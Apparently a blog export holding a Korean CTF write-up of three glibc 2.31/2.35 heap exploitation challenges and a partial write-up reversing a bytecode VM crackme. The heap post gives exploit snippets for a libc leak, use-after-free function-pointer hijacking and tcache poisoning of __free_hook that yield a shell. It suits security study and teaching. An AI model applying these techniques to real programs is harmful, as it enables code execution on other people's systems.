[{"content":"개요 CSAW CTF 2026 Quals에서 푼 pwn 세 문제를 묶었다. 세 문제의 구조가 사실상 같다.\nglibc 버그 덮는 대상 Diamond Dogs 2.31 해제 후 포인터 미삭제 — 객체·버퍼 양쪽 객체 안의 함수 포인터 Hell\u0026rsquo;s Bells 2.31 해제된 청크를 가리키는 편집 경로 tcache fd → __free_hook Saint Vespers 2.35 해제된 객체의 필드를 다시 쓰는 경로 재할당된 객체의 sing 보호 설정도 같은 방향으로 움직인다.\nRELRO PIE Canary 기타 Diamond Dogs Partial No PIE 없음 Hell\u0026rsquo;s Bells Full PIE 없음 Saint Vespers Full PIE 있음 SHSTK · IBT 공통 골격은 셋 다 이렇다.\ntcache를 넘는 크기의 청크를 해제해 unsorted bin으로 보낸다 해제된 포인터를 그대로 읽어 main_arena 주소를 얻는다 함수 포인터를 들고 있는 객체를 해제한 뒤, 같은 bin을 쓰는 다른 경로로 재할당해 그 포인터를 덮는다 그 객체의 메서드를 호출한다 즉 누수와 제어 흐름 탈취가 같은 버그의 두 가지 사용법이다. 문제마다 바뀌는 것은 \u0026ldquo;어느 경로가 해제 후 포인터를 지우지 않는가\u0026quot;와 \u0026ldquo;어느 경로가 그 오프셋까지 쓸 수 있는가\u0026quot;뿐이다.\nlibc 버전이 갈리는 지점은 3단계다. Diamond Dogs와 Hell\u0026rsquo;s Bells는 2.31이라 safe-linking(2.32)도 hook 제거(2.34)도 없다. Hell\u0026rsquo;s Bells는 그 조건을 그대로 써서 tcache fd를 직접 덮고 __free_hook에 착지한다. Saint Vespers는 2.35라 그 길이 둘 다 막혀 있고, 대신 객체 안의 함수 포인터를 노린다 — freelist를 조작하지 않으므로 safe-linking이 무관해진다.\n공통 기법: unsorted bin으로 libc 누수 tcache에 들어가는 청크는 fd에 tcache 구조체 주소가 들어가므로 libc 베이스를 바로 주지 않는다. 반면 tcache 용량(청크 크기 0x410 초과)을 넘는 청크를 해제하면 unsorted bin으로 가고, fd/bk에 main_arena 근처 주소가 들어간다.\nglibc 2.31 기준 unsorted bin은 main_arena + 96이다. __malloc_hook 바로 다음이 main_arena이므로 심볼이 없는 libc에서도 오프셋을 잡을 수 있다.\n1 2 3 main_arena = libc.sym[\u0026#39;__malloc_hook\u0026#39;] + 0x10 libc.address = leak - (main_arena + 96) assert libc.address \u0026amp; 0xfff == 0 마지막 assert는 반드시 넣는다. libc 베이스는 페이지 정렬이므로 하위 12비트가 0이 아니면 오프셋 계산이나 누수 위치가 틀렸다는 뜻이다. 이 한 줄이 \u0026ldquo;값은 나왔는데 전부 쓰레기\u0026quot;인 상황을 즉시 걸러낸다.\n2.34 이상에서는 __malloc_hook 심볼이 없으므로 이 계산식을 쓸 수 없다. 해당 libc에서 unsorted bin 오프셋을 직접 구해 상수로 박는다.\n가드 청크 해제할 청크가 top chunk와 인접하면 unsorted bin으로 가지 않고 top에 흡수된다. 그러면 누수할 포인터가 아예 생기지 않는다.\n그래서 큰 청크를 먼저 잡고, 그 뒤에 작은 청크를 하나 더 잡아 top과 분리한 다음 큰 청크를 해제한다.\n1 2 3 file_note(p, 0, 0x500, b\u0026#39;A\u0026#39;) file_note(p, 1, 0x20, b\u0026#39;B\u0026#39;) shred(p, 0) 슬롯 1의 0x20짜리는 쓸 일이 없다. top 병합만 막는 용도다.\nDiamond Dogs 구성 1 2 guard-dog amd64, No PIE, Partial RELRO, no canary, NX, not stripped libc-2.31.so / ld-2.31.so 심볼이 남아 있어 전역 배열이 바로 보인다.\n1 2 3 4 dogs 0x404120 notes 0x4040e0 note_sz 0x4040a0 woof 0x401256 관리 대상이 둘이다. dogs는 객체 포인터 배열이고 notes는 바이트 버퍼 포인터 배열이다. 각각 슬롯 8개(0-7)이고, 메뉴 핸들러는 전부 main에 인라인되어 있어 별도 함수가 없다.\ndog 객체는 malloc(0x20)으로 잡히고 끝(+0x18)에 함수 포인터가 들어간다.\n1 2 3 4 5 pvVar3 = malloc(0x20); *(code **)((long)pvVar3 + 0x18) = woof; read_n(pvVar3, 0x18); *(undefined1 *)((long)pvVar3 + 0x17) = 0; *(void **)(dogs + uVar4 * 8) = pvVar3; 호출은 이렇게 한다.\n1 2 lVar1 = *(long *)(dogs + uVar4 * 8); (**(code **)(lVar1 + 0x18))(lVar1); 버그 해제 경로가 둘인데 둘 다 포인터를 지우지 않는다.\n1 2 free(*(void **)(dogs + uVar4 * 8)); free(*(void **)(notes + uVar4 * 8)); note 쪽 dangling pointer는 누수에 쓰고, dog 쪽 dangling pointer는 제어 흐름 탈취에 쓴다.\n쓰기 길이의 비대칭 이 문제의 본질은 두 할당 경로의 쓰기 길이가 다르다는 것이다.\nadopt은 0x20을 할당하지만 read_n으로 0x18바이트만 읽고 +0x17을 0으로 덮는다. 즉 +0x18의 함수 포인터에는 의도적으로 닿을 수 없게 되어 있다.\nfile_note는 다르다. 요청한 크기만큼 전부 읽는다.\n1 2 3 4 5 6 7 8 if (*(long *)(notes + uVar4 * 8) == 0) { __size = read_long(); if (__size - 1 \u0026lt; 0x1000) { pvVar3 = malloc(__size); read_n(pvVar3, __size); ... } } 슬롯 점유 검사는 있다. 다만 shred가 포인터를 지우지 않으므로 해제된 슬롯은 점유 상태로 남고, 새 note는 빈 슬롯 번호를 써야 한다.\nmalloc(0x20)과 malloc(0x20)은 같은 청크 크기 0x30이므로 같은 tcache bin을 쓴다. 따라서 dog을 해제한 뒤 같은 크기의 note를 할당하면 그 dog 청크를 note로 받게 되고, 이번에는 +0x18까지 쓸 수 있다.\n보호 장치가 한쪽 경로에만 붙어 있는 것이 버그다.\n누수 note 읽기 경로가 puts가 아니라 write 시스템콜이다.\n1 write(1, *(void **)(notes + uVar4 * 8), *(size_t *)(note_sz + uVar4 * 8)); NULL에서 멈추지 않고 저장된 길이만큼 그대로 뱉는다. 해제된 청크의 fd가 포인터 그대로 나온다.\n크기 제한은 __size - 1 \u0026lt; 0x1000이므로 0x500까지 쓸 수 있다. 청크 크기는 0x510이 되어 tcache 상한 0x410을 넘고, 따라서 unsorted bin으로 간다.\n1 2 3 4 5 6 7 8 file_note(p, 0, 0x500, b\u0026#39;A\u0026#39;) file_note(p, 1, 0x20, b\u0026#39;B\u0026#39;) shred(p, 0) leak = u64(read_note(p, 0, 0x500)[:8]) main_arena = libc.sym[\u0026#39;__malloc_hook\u0026#39;] + 0x10 libc.address = leak - (main_arena + 96) assert libc.address \u0026amp; 0xfff == 0, \u0026#39;leak offset wrong\u0026#39; 제어 흐름 탈취 dog을 하나 만들고, 이름 자리에 /bin/sh를 넣는다. 호출 규약상 메서드는 자기 객체 포인터를 첫 인자로 받으므로, 객체 시작 주소가 곧 인자다.\n1 2 3 4 5 adopt(p, 0, b\u0026#39;/bin/sh\\x00\u0026#39;) release(p, 0) file_note(p, 2, 0x20, b\u0026#39;/bin/sh\\x00\u0026#39; + b\u0026#39;\\x00\u0026#39; * 0x10 + p64(libc.sym.system)) command(p, 0) release로 들어간 청크를 file_note가 다시 받아, +0x18의 함수 포인터를 system으로 덮는다. command가 그것을 (*fp)(obj) 형태로 호출하므로 system(\u0026quot;/bin/sh\u0026quot;)가 된다.\none_gadget이나 ROP가 필요 없다. 호출 규약이 인자를 대신 채워 준다.\n전체 흐름 1 2 3 4 5 6 7 8 file_note(0, 0x500) 큰 청크 확보 file_note(1, 0x20) 가드 청크 shred(0) unsorted bin 진입 read_note(0) main_arena 누수 adopt(0, \u0026#34;/bin/sh\u0026#34;) 객체 생성 release(0) tcache 0x30 bin 진입 file_note(2, 0x20) 같은 청크 재할당, +0x18 덮기 command(0) system(\u0026#34;/bin/sh\u0026#34;) 짚어둘 점 누수와 탈취가 서로 다른 bin을 쓴다. 0x510은 unsorted bin, 0x30은 tcache다. 가드 청크를 빼면 0x510 청크가 top에 흡수되어 누수 단계에서 아무것도 나오지 않는다. adopt이 +0x17을 0으로 덮는 것은 함수 포인터를 보호하는 코드다. 그 보호가 한쪽 할당 경로에만 붙어 있다는 점이 이 문제의 전부다. Hell\u0026rsquo;s Bells 구성 1 2 thermite-charge amd64, PIE, Full RELRO, no canary, NX, not stripped libc-2.31.so / ld-2.31.so Diamond Dogs와 메뉴 구조가 거의 같다. 슬롯 16개, 전역 배열 둘.\n1 2 charges 0x40e0 sizes 0x4060 다른 점은 객체가 없다는 것이다. 여기서 다루는 건 순수 바이트 버퍼뿐이고, 따라서 덮을 함수 포인터도 없다. read_long, read_n, 크기 제한 __size - 1 \u0026lt; 0x1000, write로 그대로 뱉는 inspect까지 전부 Diamond Dogs와 동일하다.\nPIE와 Full RELRO가 켜져 있지만 영향이 없다. 아래 익스플로잇은 바이너리 주소도 GOT도 쓰지 않는다.\n버그 plant은 슬롯이 비어 있는지(== 0) 확인한다. 하지만 defuse가 포인터를 지우지 않으므로, 해제된 슬롯은 여전히 \u0026ldquo;점유 상태\u0026quot;로 남는다.\n1 2 free(*(void **)(charges + uVar2 * 8)); puts(\u0026#34;charge defused\u0026#34;); 그리고 rewire는 그 슬롯에 대고 다시 쓴다.\n1 2 3 4 if ((uVar2 \u0026lt; 0x10) \u0026amp;\u0026amp; (*(long *)(charges + uVar2 * 8) != 0)) { read_n(*(undefined8 *)(charges + uVar2 * 8), *(undefined8 *)(sizes + uVar2 * 8)); } 해제 여부를 검사하지 않고, 길이는 원래 할당 크기를 그대로 쓴다. 해제된 청크의 선두를 원하는 값으로 덮을 수 있다는 뜻이고, 그 자리가 tcache의 next 포인터다.\nDiamond Dogs가 \u0026ldquo;같은 bin을 쓰는 다른 경로로 재할당\u0026quot;이었다면, 여기는 재할당조차 필요 없이 freelist를 직접 편집한다.\ntcache 포이즈닝 glibc 2.31에는 safe-linking이 없다. fd에 넣은 값이 그대로 다음 청크 주소로 쓰인다. 그리고 __free_hook이 아직 존재한다.\n누수는 공통 기법 그대로다.\n1 2 3 4 5 6 7 8 plant(p, 0, 0x500, b\u0026#39;A\u0026#39;) plant(p, 1, 0x20, b\u0026#39;B\u0026#39;) defuse(p, 0) leak = u64(inspect(p, 0, 0x500)[:8]) main_arena = libc.sym[\u0026#39;__malloc_hook\u0026#39;] + 0x10 libc.address = leak - (main_arena + 96) assert libc.address \u0026amp; 0xfff == 0, \u0026#39;libc offset wrong\u0026#39; 이후가 본편이다.\n1 2 3 4 5 6 7 8 9 10 11 12 plant(p, 2, 0x20, b\u0026#39;C\u0026#39;) plant(p, 3, 0x20, b\u0026#39;D\u0026#39;) defuse(p, 2) defuse(p, 3) rewire(p, 3, 0x20, p64(libc.sym[\u0026#39;__free_hook\u0026#39;])) plant(p, 4, 0x20, b\u0026#39;/bin/sh\\x00\u0026#39;) plant(p, 5, 0x20, p64(libc.sym.system)) menu(p, 2) p.sendlineafter(b\u0026#39;slot: \u0026#39;, b\u0026#39;4\u0026#39;) tcache 0x30 bin의 상태 변화.\n1 2 3 4 5 defuse(2) head -\u0026gt; c2 defuse(3) head -\u0026gt; c3 -\u0026gt; c2 rewire(3, \u0026amp;free_hook) head -\u0026gt; c3 -\u0026gt; __free_hook plant(4) c3 반환, head -\u0026gt; __free_hook plant(5) __free_hook 반환 슬롯 4가 받은 청크가 c3이고 그 내용이 /bin/sh, 슬롯 5가 받은 주소가 __free_hook이고 그 내용이 system이다. 마지막으로 슬롯 4를 defuse하면 free(c3)이 되고, __free_hook이 인자로 c3를 받아 호출되므로 system(\u0026quot;/bin/sh\u0026quot;)가 된다.\n청크를 두 개 해제하는 이유 해제된 청크 하나로도 fd 덮기는 된다. 하지만 두 번째 할당이 포이즈닝된 주소로 가지 않는다.\ntcache는 counts[idx]를 따로 관리하고, tcache_get은 counts \u0026gt; 0일 때만 호출된다. 하나만 해제하면 counts가 1이고, 첫 할당에서 0이 되면서 두 번째 할당은 tcache를 거치지 않는다. fd를 아무리 잘 덮어도 그 링크를 따라갈 기회가 없다.\n둘을 해제하면 counts가 2다. 첫 할당이 c3을 꺼내며 1, 두 번째 할당이 아직 \u0026gt; 0이므로 덮어둔 entries[idx]를 그대로 반환한다. 그래서 0x20 청크 두 개가 최소 조건이다.\n짚어둘 점 두 문제의 차이는 \u0026ldquo;쓰기 가능한 dangling pointer를 어디서 얻는가\u0026rdquo; 하나다. Diamond Dogs는 해제된 객체를 다른 경로로 재할당해 얻고, Hell\u0026rsquo;s Bells는 편집 경로가 해제 상태를 검사하지 않아 바로 얻는다. 뒤쪽이 더 강한 원시 기능이라 freelist를 직접 조작할 수 있다. plant의 점유 검사가 != 0인데 defuse가 포인터를 남기므로 한 슬롯을 해제-재사용으로 돌릴 수 없다. 슬롯 번호를 매번 새로 쓴다. __free_hook을 쓰는 건 glibc 2.31이라서 가능하다. 2.34 이상이면 이 착지점이 없다. 같은 구조의 문제가 Saint Vespers다. Saint Vespers and the Copper Choir 구성 이 문제만 원본 C 코드가 같이 배포됐다. 디컴파일이 필요 없는 대신, 읽을 양이 늘어난다.\n1 2 3 vespers amd64, PIE, Full RELRO, canary, NX, SHSTK, IBT vespers.c ld-2.35.so / libc.so_3.6 (Ubuntu GLIBC 2.35-0ubuntu3.14) 보호가 가장 두껍다. 그런데 최종적으로 노리는 것이 정상 함수의 진입점이라서 영향이 없다. sing 필드를 system으로 바꿔 choir[i]-\u0026gt;sing(choir[i])로 호출하므로 간접 분기 대상이 유효한 함수 시작 주소이고, 스택을 조작하지 않으므로 canary와 shadow stack도 건드리지 않는다. CET가 막는 것은 ROP처럼 함수 중간으로 뛰는 쪽이다.\n관리 대상은 구조체 하나다.\n1 2 3 4 5 6 7 typedef struct chorister { char name[NAME_SIZE]; /* 0x38 */ void (*sing)(struct chorister *self); char *transcript; size_t transcript_len; int active; } chorister_t; sizeof(chorister_t)는 0x58이고 청크 크기는 0x60이다. 함수 포인터는 화이트리스트에서만 고르게 되어 있다.\n1 2 3 4 5 6 static void (*const sing_table[3])(chorister_t *) = { sing_gregorian, sing_echo, sing_harmony, }; ... if (style \u0026lt; 0 || style \u0026gt; 2) style = 0; c-\u0026gt;sing = sing_table[style]; 인덱스 검증도 깔끔하다.\n1 2 3 static int valid_idx(long idx) { return idx \u0026gt;= 0 \u0026amp;\u0026amp; idx \u0026lt; MAX_CHOIR \u0026amp;\u0026amp; choir[idx] != NULL; } main에서 setvbuf에 정적 버퍼를 넘기는 것도 의도적이다. stdio가 힙을 건드리지 않으므로 청크 배치가 내가 호출한 연산 그대로 결정된다. 소스 주석에도 그렇게 적혀 있다.\n버그 op_retire가 해제 후에 필드를 쓴다.\n1 2 3 if (c-\u0026gt;transcript) free(c-\u0026gt;transcript); free(c); c-\u0026gt;active = 0; 세 줄에 문제가 다 있다.\nchoir[idx]를 NULL로 만들지 않는다. 해제된 객체가 계속 유효한 슬롯으로 남는다. c-\u0026gt;transcript를 NULL로 만들지 않는다. 해제된 transcript를 가리키는 포인터가 살아 있다. free(c) 다음의 c-\u0026gt;active = 0은 해제된 메모리에 대한 쓰기다. 마지막 줄의 오프셋이 +0x50이라 tcache가 쓰는 next(+0x00)와 key(+0x08)를 건드리지 않는다. 그래서 freelist가 깨지지 않고, 해제된 객체가 조용히 살아 있다.\nop_restore는 그 쓰기를 되돌려 준다.\n1 2 if (c-\u0026gt;active) { puts(\u0026#34;...\u0026#34;); return; } c-\u0026gt;active = 1; retire로 0이 된 플래그를 restore가 1로 되돌리므로, 해제된 객체가 active 검사를 요구하는 모든 경로(inscribe / recite / rename / perform)를 다시 통과한다.\nfree(c) 바로 다음 줄의 c-\u0026gt;active = 0은 소스에서는 한눈에 보인다. 디컴파일 결과에서는 전역 배열에 대한 오프셋 대입 한 줄일 뿐이다.\n누수 transcript 길이를 0x500으로 잡으면 청크가 0x510이 되어 tcache 상한을 넘는다. 두 번째 recruit이 가드 역할이다. 앞 두 문제의 0x20 가드 청크와 같은 수이고, 여기서는 객체와 transcript가 함께 쌓이므로 top 병합이 더 확실히 막힌다.\n1 2 3 4 5 6 7 8 9 10 11 recruit(p, b\u0026#39;AAAA\u0026#39;, 0, 0x500, b\u0026#39;A\u0026#39;) recruit(p, b\u0026#39;BBBB\u0026#39;, 0, 0x20, b\u0026#39;B\u0026#39;) retire(p, 0) restore(p, 0) leak = u64(recite(p, 0, 0x500)[:8]) UNSORTED_OFF = 0x21ace0 libc.address = leak - UNSORTED_OFF assert libc.address \u0026amp; 0xfff == 0, \u0026#39;libc offset wrong\u0026#39; retire(0)이 transcript와 객체를 모두 해제하고, restore(0)이 active를 되살린다. op_recite는 c-\u0026gt;transcript와 c-\u0026gt;transcript_len을 그대로 쓰므로, 해제된 0x510 청크의 내용이 write로 나온다.\n1 (void)write(1, c-\u0026gt;transcript, c-\u0026gt;transcript_len); __malloc_hook이 없으므로 오프셋은 libc에서 직접 구해 상수로 넣었다.\n같은 size class 여기가 이 문제의 핵심이다. transcript 길이는 1에서 0x1000 사이에서 내가 정한다. 그리고 sizeof(chorister_t)는 0x58이다.\n즉 0x58 길이의 transcript를 요청하면 객체와 같은 0x60 bin에서 할당된다. op_recruit의 할당 순서를 보면 결과가 나온다.\n1 2 3 4 5 chorister_t *c = malloc(sizeof(chorister_t)); /* 0x60 bin */ ... char *transcript = malloc((size_t)len); /* len=0x58 이면 같은 0x60 bin */ ... read_exact(transcript, (size_t)len); 한 번의 recruit이 0x60 bin에서 두 번 할당한다. 앞의 것은 새 객체가 되고, 뒤의 것은 내가 내용을 전부 쓰는 버퍼가 된다. 해제된 객체 두 개를 bin에 넣어 두면, 뒤쪽 할당이 아직 슬롯에 매달려 있는 다른 객체를 집어온다.\n1 2 3 4 5 6 7 8 9 10 11 retire(p, 1) payload = b\u0026#39;/bin/sh\\x00\u0026#39;.ljust(0x38, b\u0026#39;\\x00\u0026#39;) payload += p64(libc.sym.system) payload += p64(0) payload += p64(0) payload += p32(1) payload = payload.ljust(0x58, b\u0026#39;\\x00\u0026#39;) recruit(p, b\u0026#39;CCCC\u0026#39;, 0, 0x58, payload) menu(p, 8) 0x60 bin 상태와 할당 결과.\n1 2 3 4 retire(1) free(t1)=0x30 bin, free(obj1) -\u0026gt; head -\u0026gt; obj1 -\u0026gt; obj0 recruit 내부 1 malloc(0x58) -\u0026gt; obj1 = 슬롯 2의 새 객체 recruit 내부 2 malloc(0x58) -\u0026gt; obj0 = transcript 버퍼 read_exact obj0 전체를 payload로 덮음 obj0은 여전히 choir[0]이고 restore(0) 덕에 active다. payload가 그 구조체를 그대로 재구성한다.\n1 2 3 4 5 name \u0026#34;/bin/sh\\0\u0026#34; sing system transcript 0 transcript_len 0 active 1 op_perform이 호출 규약대로 자기 자신을 인자로 넘긴다.\n1 2 if (choir[i] \u0026amp;\u0026amp; choir[i]-\u0026gt;active) choir[i]-\u0026gt;sing(choir[i]); 구조체 시작 주소가 곧 name의 주소이므로 system(\u0026quot;/bin/sh\u0026quot;)가 된다.\n짚어둘 점 화이트리스트 함수 포인터는 생성 시점에만 강제된다. sing_table 범위 검사는 op_recruit 안에 있고, 그 뒤로 sing 필드에 닿는 경로는 검사를 거치지 않는다. NAME_SIZE 0x38과 transcript 범위 1..0x1000이 0x58에서 겹친다. 사용자가 크기를 정하는 버퍼와 고정 크기 구조체가 같은 size class를 공유하는 구조다. safe-linking을 한 번도 건드리지 않는다. fd를 덮는 대신 정상 할당 순서로 원하는 청크를 받아내기 때문이다. op_roster는 active 여부와 무관하게 name 전체 0x38바이트를 출력한다. 해제된 객체에 쓰면 mangle된 tcache next가 나오지만 이 풀이에서는 필요하지 않았다. 지금 다시 보면 글을 쓰면서 다시 읽다 보니 당시에 쓰지 않았던 경로가 눈에 들어온다. 아래는 풀이 당시 고려하지 않았던 것들이고, 실제로 돌려서 확인한 것이 아니라 코드를 다시 읽고 정리한 수준이다.\nDiamond Dogs — tcache 포이즈닝이 가능했다 file_note로 해제된 dog 청크를 받으면 오프셋 0부터 쓸 수 있고, 그 자리가 tcache next다. 실제 풀이는 거기에 /bin/sh를 썼지만, 같은 쓰기로 주소를 넣으면 Hell\u0026rsquo;s Bells에서 쓴 포이즈닝이 된다. 2.31이라 safe-linking도 없다.\n여기에 No PIE가 겹친다. 전역 배열 주소가 고정이다.\n1 2 notes 0x4040e0 note_sz 0x4040a0 note_sz에 청크를 띄워 임의의 길이를 써넣으면 read_note의 출력 길이가 그만큼 늘어난다. notes까지 덮으면 읽을 주소와 길이를 모두 통제하게 되므로 임의 읽기가 된다. 포이즈닝으로 받은 청크에 file_note로 쓰면 임의 쓰기도 된다.\n단, 점유 검사 때문에 note 슬롯은 매번 새 번호를 써야 하고 슬롯이 8개뿐이다. 두 전역 배열을 다 덮으려면 할당 횟수를 세어 두고 시작해야 한다.\nHell\u0026rsquo;s Bells — 큰 청크 쪽을 읽기만 했다 rewire는 해제 상태를 검사하지 않으므로 0x500 청크에도 쓸 수 있다. 그런데 풀이는 그 청크를 inspect로 읽기만 했다.\nunsorted bin에 있는 청크의 fd/bk를 쓸 수 있다는 뜻이고, unsorted bin attack이나 largebin attack의 전제가 그대로 성립한다. tcache 쪽이 더 간단해서 그쪽만 썼다.\n그리고 rewire는 next(+0x00)와 함께 key(+0x08)도 덮는다. key를 지우면 2.31의 tcache double-free 검사를 통과시킬 수 있다. 쓸 일이 없었지만 가능했다.\nSaint Vespers — 임의 읽기/쓰기를 지나쳤다 가장 아쉬운 지점이다. 최종 payload는 구조체 전체를 재구성하는데, 거기에는 transcript와 transcript_len도 들어 있다.\n1 2 payload += p64(0) # transcript payload += p64(0) # transcript_len 둘을 0으로 채웠다. 그런데 op_recite와 op_inscribe가 바로 이 두 필드를 쓴다.\n1 2 (void)write(1, c-\u0026gt;transcript, c-\u0026gt;transcript_len); /* recite */ read_exact(c-\u0026gt;transcript, c-\u0026gt;transcript_len); /* inscribe */ (임의 주소, 길이)를 넣었으면 그 슬롯이 임의 읽기 겸 임의 쓰기 핸들이 됐다. 한 번 쓰고 끝이 아니라 슬롯이 살아 있는 동안 반복해서 쓸 수 있다. 같은 한 번의 쓰기로 sing 하나를 덮는 것보다 훨씬 강하고 비용도 같았다.\nsolve.py에 rename()과 roster() 헬퍼를 만들어 두고 한 번도 호출하지 않았는데, 그 둘이 남은 경로였다.\nop_roster는 active와 무관하게 name 전체 0x38바이트를 출력한다. 해제된 객체에 대고 쓰면 mangle된 tcache next가 나오고, 2.35의 mangling이 (청크주소 \u0026gt;\u0026gt; 12) ^ 포인터이므로 거기서 힙 베이스를 복원할 수 있다. op_rename은 name 오프셋 0에 0x37바이트를 쓴다. 해제된 객체에 대고 쓰면 next와 key를 모두 덮는다. 둘을 합치면 2.35에서도 tcache 포이즈닝이 성립한다. 힙 베이스를 roster로 얻어 mangling을 계산하고, rename으로 next를 덮는 식이다. safe-linking이 막는 것은 \u0026ldquo;주소를 모르는 상태에서의 포이즈닝\u0026quot;이고, 누수 경로가 같이 열려 있으면 막히지 않는다.\n정리 세 문제의 UAF 획득 방식과 착지점.\ndangling pointer를 얻는 법 착지점 Diamond Dogs 해제된 객체를 다른 할당 경로로 재할당 객체의 함수 포인터 Hell\u0026rsquo;s Bells 편집 경로가 해제 상태를 검사하지 않음 tcache fd → __free_hook Saint Vespers 해제 후 필드 대입이 슬롯을 살려 둠 같은 size class로 받은 객체의 함수 포인터 누수는 셋이 동일하다. tcache 상한(0x410)을 넘는 크기로 해제해 unsorted bin에 넣고, 지워지지 않은 포인터로 읽는다.\n갈리는 것은 libc 버전이다.\n2.31 2.35 tcache fd mangling 없음 (청크주소 \u0026gt;\u0026gt; 12) ^ 포인터 __malloc_hook / __free_hook 있음 제거 unsorted bin 오프셋 계산 __malloc_hook + 0x10 + 96 심볼 없음, 직접 측정 최단 경로 freelist 포이즈닝 → hook 애플리케이션 객체의 함수 포인터 2.31에서는 hook이 있으니 freelist를 한 번 조작하는 것으로 끝난다. 2.35에서는 그 착지점이 사라져서 공격 대상이 libc에서 프로그램 자신의 객체로 옮겨간다. 그리고 그 경로는 freelist를 건드리지 않으므로 safe-linking이 걸리지 않는다.\n전체 스크립트: ctf-writeups/2026-csaw-quals\n","permalink":"https://wjddml.github.io/writeups/csaw-2026-heap/","summary":"Diamond Dogs, Hell\u0026rsquo;s Bells, Saint Vespers. UAF로 libc를 누수하고 해제된 객체를 다시 할당해 함수 포인터를 덮는 세 문제를 한 번에 정리한다.","title":"CSAW CTF 2026 Quals — glibc 버전이 바뀌면 달라지는 것들"},{"content":"개요 배포 파일은 둘이다.\n1 2 whatwho ELF 64-bit, x86-64, stripped vault.wwc data 실행하면 인스턴스 시드를 출력하고 질문 6개를 던진다. 전부 맞히면 플래그가 나온다.\n작업 순서.\nELF가 VM 인터프리터임을 확인 vault.wwc 컨테이너 복호화 ISA 복원, 디스어셈블러 작성 문제 6개 역산 로컬 인스턴스 복제 후 검증 1. ELF는 인터프리터다 gdb로 단계 실행하면 어느 문제를 풀든 같은 함수에 계속 들어간다. sub_1CF0 도입부를 보면 이유가 나온다.\n1 2 3 4 v13 = (char *)(v12 + 12 * v10); v14 = *v13; v15 = v13[1]; v16 = v13[2]; v17 = v13[3]; v18 = *(_QWORD *)(v13 + 4); 12바이트 고정폭 명령, opcode 기반 거대 switch, 레지스터 8개(v156[1..8]), sp(v157), pc(v167). 검증 로직은 vault.wwc 안의 바이트코드이고 ELF는 그것을 실행하는 CPU다.\n동적 분석으로 이 구조를 따라가는 것은 의미가 없다. 컨테이너를 먼저 풀어야 한다.\n2. vault.wwc 복호화 sub_18C0이 로더다. 헤더 64바이트.\n1 magic 0x1A0A0D4F48575789 | ver=3 | hdrsz=64 | n_insns | data_size | entry | key | code_seal | data_seal 이어서 12*n 바이트의 코드, data_size 바이트의 데이터. 두 세그먼트 모두 sub_1780으로 스크램블되어 있다. (key, domain, index) 기반 splitmix 계열 키스트림에 바이트별 회전과 뺄셈이 더해진 형태다. 도메인 상수 둘은 ASCII다.\nsub_1810이 세그먼트별 체크섬을 계산한다. 이것이 검증 수단이다. 복호화가 한 바이트라도 틀리면 seal이 불일치하므로, 추측 없이 정확성을 확인할 수 있다.\n1 2 insn=262 data=762 entry=0 key=91e10da5c79e7b1d code seal True data seal True 데이터 세그먼트의 문자열이 곧 문제 프롬프트다.\n1 2 3 data+0x0000 Question 1 - Did you remember the password? data+0x002d Question 2 - What is today\u0026#39;s special? data+0x0054 Question 3 - Which way now? 3. ISA 복원 여기서 시간을 가장 많이 썼다. 원인은 Hex-Rays가 점프 테이블을 압축하려고 switch를 오프셋 산술로 재작성한 것이다.\n1 2 3 4 5 v23 = (unsigned __int8)(v14 + 115); switch ((char)v23) { case 84: ... } v19 = v14 - 37; switch (v19) { case 0x1E: ... } 화면의 case 값은 opcode가 아니다. 첫 그룹은 case - 115 mod 256, 둘째 그룹은 case + 0x25로 되돌려야 한다. 위 두 경우 실제 opcode는 각각 0xE1, 0x43이다.\n모드가 둘이고 opcode 공간이 분리되어 있다는 점도 주의해야 한다. 0x0C로 스택 모드 진입, 0xFA로 레지스터 모드 복귀이며 sp가 0일 때만 허용된다.\n필요한 명령.\nopcode 의미 0x5F INPUT r[A], fmt=B, max=C, prompt=data[imm] 0x7B SUBMIT imm 0xCA r[A] = SEED 0x31 r[A] = KEY 0x43 flag = (r[A] == imm) 0xDD flag = (r[A] == r[B]) 0x2E / 0xBC JF / JT 0xE1 FLAG INPUT의 fmt는 0=raw, 1=hex8, 2=hex16, 3=hex32, 4=dec다.\n디스어셈블러는 고정폭이라 짧다.\n1 2 3 for pc in range(len(code)//12): op, A, B, C = code[12*pc:12*pc+4] imm = struct.unpack_from(\u0026#34;\u0026lt;Q\u0026#34;, code, 12*pc+4)[0] 명령 262개. 데이터 세그먼트는 VM 주소 0x2000에 로드되고 입력 버퍼는 0x800이다. SUBMIT 여섯 개를 찾으면 그 사이가 각각 한 문제다.\n4. 문제별 역산 Q1 4바이트를 빅엔디안으로 묶어 XOR → ROL32 → MUL → xorshift → ADD → ROR32 후 0xFB5647DA와 비교한다. 전부 32비트 전단사라 역산이 유일하다. 곱셈은 모듈러 역원, xorshift는 반복 대입으로 되돌린다.\n1 2 3 4 5 6 7 x = rol32(0xFB5647DA, 3) x = (x - 0x7F4A7C15) \u0026amp; m32 y = x for _ in range(4): y = x ^ (y \u0026gt;\u0026gt; 15) x = (y * pow(0x045D9F3B, -1, 1 \u0026lt;\u0026lt; 32)) \u0026amp; m32 answer = (ror32(x, 9) ^ 0xC13FA9A9).to_bytes(4, \u0026#34;big\u0026#34;) Q2 스택 모드 블록. 바이트마다 ROL8((c ^ acc) + A[i], B[i]) ^ C[i] == D[i]이고 16바이트 테이블 넷이 0xe9/0xf9/0x109/0x119에 있다. acc는 0x5A에서 시작해 앞에서 뒤로 연쇄하므로 순서대로 벗긴다.\nQ3 102글자. 이동 델타가 N=-17, E=+1, S=+17, W=-1이고 매 이동 후 data[r2+0x2129]가 1인지 확인한다. 17×17 미로, 시작 18, 종료 96.\n여기에 함정이 있다. 검사 조건은 정확히 102걸음과 모든 칸이 통행 가능뿐이고 방문 기록이 없다. 최단 경로 문제가 아니라 (칸, 남은 걸음) DP로 풀어야 하며, 걸음 수가 남으면 왕복으로 채운다.\nQ4 / Q5 둘 다 MOV r0, SEED로 시작한다. Q4는 splitmix 137라운드에 10진수 출력, Q5는 ((seed\u0026gt;\u0026gt;9)\u0026amp;0x3ff)+0x500 라운드의 xorshift에 16자리 hex 출력이다. 루프를 그대로 옮기면 된다.\nQ6 10라운드 Feistel. 라운드 키는 0x250/0x2a0/0x2f0에 있고 목표값 (r2, r3)은 시드와 키에서 파생된다. 역방향으로 전개한다.\n1 2 3 a, b = r2, r3 for i in range(9, -1, -1): a, b = b ^ F(a, i), a 5. rolling key Q6가 시드만으로 풀리지 않는 이유다.\nv173은 mix(seed ^ 0x57484F5F57415443)으로 시작한다. 상수는 리틀엔디안으로 